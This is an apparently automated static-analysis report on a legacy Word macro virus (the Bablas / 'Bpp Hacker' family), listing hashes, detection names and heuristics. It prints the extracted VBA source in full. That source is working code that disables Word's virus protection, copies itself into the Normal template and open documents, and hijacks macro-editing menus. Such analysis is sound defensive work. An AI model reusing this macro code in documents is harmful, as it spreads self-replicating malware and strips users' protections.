Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 f6e0846684aa3e65…

MALICIOUS

Office (OLE)

42.5 KB Created: 1997-09-17 11:18:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 2869d49763bb89b622a29de9e43ba11a SHA-1: b9d5b6707d2787186098904506963ccde6d94d22 SHA-256: f6e0846684aa3e6512e50e33a360995bcb3a8428a83e94371e5ef1ceb16d4b23
256 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The file contains legacy WordBasic macro markers and a VBA AutoOpen macro, indicating it is designed to execute code upon opening. The ClamAV detections 'Legacy.Trojan.Agent-34741' and 'Doc.Trojan.Bablas-4' strongly suggest malicious intent, likely involving the execution of a secondary payload. The VBA script itself contains messages and functions that, while partially obfuscated and truncated, point towards a macro-based threat.

Heuristics 6

  • ClamAV: Legacy.Trojan.Agent-34741 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Legacy.Trojan.Agent-34741
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
        Options.VirusProtection = False
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Auto_Close macro low OLE_VBA_AUTOCLOSE
    Auto_Close macro
    Matched line in script
    Sub AutoClose()
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 5191 bytes
SHA-256: 59a4f4aa387d794d6a08b1e289d38095dc1d3f78e943b4c58b0bd38c1cea3b9e
Detection
ClamAV: Doc.Trojan.Bablas-4
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "BPPHCK"
' ##### Innama a'malu binniyat #####
' Saya hanya berusaha melindungi komputerku, dan tentu juga komputer-
' teman-teman dari terinfeksinya virus macro yang merugikan.
' Semoga Allah melindungi kita semua
Sub ShowMessage()
    H = Time
    If Time < TimeValue("21:00:00") Then
    For i = 1 To 100
        Beep
    Next i
    H = MsgBox("Terimakasih buat dosenku yang amat sangat " & Chr(34) & _
    "bijaksana" & Chr(34) & "," & Chr(13) & "yang telah memberiku nilai JELEK. Saya merasa bangga " & Chr(13) & _
    "dan sungguh-sungguh bangga terhadap dosenku itu." & Chr(13) & _
    "Sekali lagi saya ucapkan terimakasih!." & Chr(13) & Chr(13) & "Semoga mereka tetap di EL itenas" & _
    Chr(13) & "(buat 'M'(1495027) I LOVE YOU SO MUCH.)", vbOKOnly + vbExclamation, "whm 1195092")
    End If
End Sub

Sub Bablas()
Attribute Bablas.VB_Description = "Macro created 10/02/99 by  Abdul Aziz"
Attribute Bablas.VB_ProcData.VB_Invoke_Func = "Normal.NewMacros.Cegat"
    Options.SaveNormalPrompt = False
    Options.VirusProtection = False
    Options.SavePropertiesPrompt = False
End Sub

Sub ToolsMacro()
    H = MsgBox("You can't create or modify macros.", vbExclamation + vbOKOnly)
End Sub

Sub ViewVbCode()
    ToolsMacro
End Sub

Sub FileTemplates()
    ToolsMacro
End Sub

Sub HelpAbout()
    H = MsgBox("Qun katawon walataqun kalaler." & Chr(13) & Chr(13) & _
    "I LOVE SOMETHING ERROR !", vbOKOnly + vbExclamation, "Bpp Hacker")
End Sub

Sub ToolsOptions()
    Options.SaveNormalPrompt = True
    Options.SavePropertiesPrompt = True
    Options.VirusProtection = True
    Dialogs(wdDialogToolsOptions).Show
    Bablas
End Sub

Sub ChangeCap()
    On Error Resume Next
    Application.Caption = "Bpp Hacker is now activating "
    ActiveWindow.Caption = "(I Don't mean to disturb.)"
End Sub

Sub RestoreCap()
    On Error Resume Next
    Application.Caption = "Microsoft Word"
    ActiveWindow.Caption = ActiveDocument.Name
End Sub

Sub OpenMyMacro()
    If InputBox("Enter password", "Bpp Hacker") = "azizoke" Then Application.ShowVisualBasicEditor = True
End Sub

Sub SikatDocument()
    Dim DocOk As Boolean
    DocOk = False
    For Each Obj In ActiveDocument.VBProject.VBComponents
        If Obj.Name = "BPPHCK" Then DocOk = True
        If Obj.Name <> "BPPHCK" And Obj.Name <> "ThisDocument" Then
            Application.StatusBar = "Deleting " + Obj.Name + _
            " Macro in " + ActiveDocument.Name + "..."
            Application.OrganizerDelete Source:=ActiveDocument.FullName, _
            Name:=Obj.Name, Object:=wdOrganizerObjectProjectItems
        End If
    Next Obj
    If DocOk = False Then
        Application.StatusBar = "Copying Bpp Hacker From Normal Template to " _
        + ActiveDocument.Name + "..."
        Application.OrganizerCopy Source:=NormalTemplate.FullName, _
        Destination:=ActiveDocument, Name:="BPPHCK", Object:=wdOrganizerObjectProjectItems
    End If
End Sub

Sub SikatTemplate()
    Dim NorOk As Boolean
    NorOk = False
    For Each Obj In NormalTemplate.VBProject.VBComponents
        If Obj.Name = "BPPHCK" Then NorOk = True
        If Obj.Name <> "BPPHCK" And Obj.Name <> "ThisDocument" Then
            Application.StatusBar = "Deleting " + Obj.Name + _
            " Macro in Normal Template..."
            Application.OrganizerDelete Source:=NormalTemplate.FullName, _
            Name:=Obj.Name, Object:=wdOrganizerObjectProjectItems
        End If
    Next Obj
    If NorOk = False Then
        Application.StatusBar = "Copying Bpp Hacker From " + ActiveDocument.Name + _
        " to Normal Template..."
        Application.OrganizerCopy Source:=ActiveDocument.FullName, _
        Destination:=NormalTemplate.FullName, Name:="BPPHCK", Object:=wdOrganizerObjectProjectItems
        Application.DisplayRecentFiles = False
        Application.DisplayRecentFiles = True
    End If
End Sub

Sub AutoExit()
    ShowMessage
    Application.Quit
End Sub

Sub FileOpen()
    ChangeCap
    WordBasic.DisableAutoMacros True
    On Error Resume Next
    If Dialogs(wdDialogFileOpen).Show <> 0 Then
        SikatDocument
        ActiveDocument.Save
    End If
    RestoreCap
    WordBasic.DisableAutoMacros False
End Sub

Sub AutoOpen()
    Bablas
    ChangeCap
    SikatTemplate
    On Error Resume Next
    NormalTemplate.Save
    RestoreCap
End Sub

Sub AutoClose()
    SikatDocument
End Sub

Sub FileClose()
    AutoClose
End Sub

Sub FileSave()
    If ActiveDocument.Saved = False Then
        SikatDocument
        SikatTemplate
        On Error Resume Next
        ActiveDocument.Save
        ActiveDocument.Saved = True
    End If
End Sub

Sub AutoExec()
    WordBasic.DisableAutoMacros True
    Bablas
    Application.OnTime Now + TimeValue("00:00:07"), "Normal.BPPHCK.Ancurin"
End Sub

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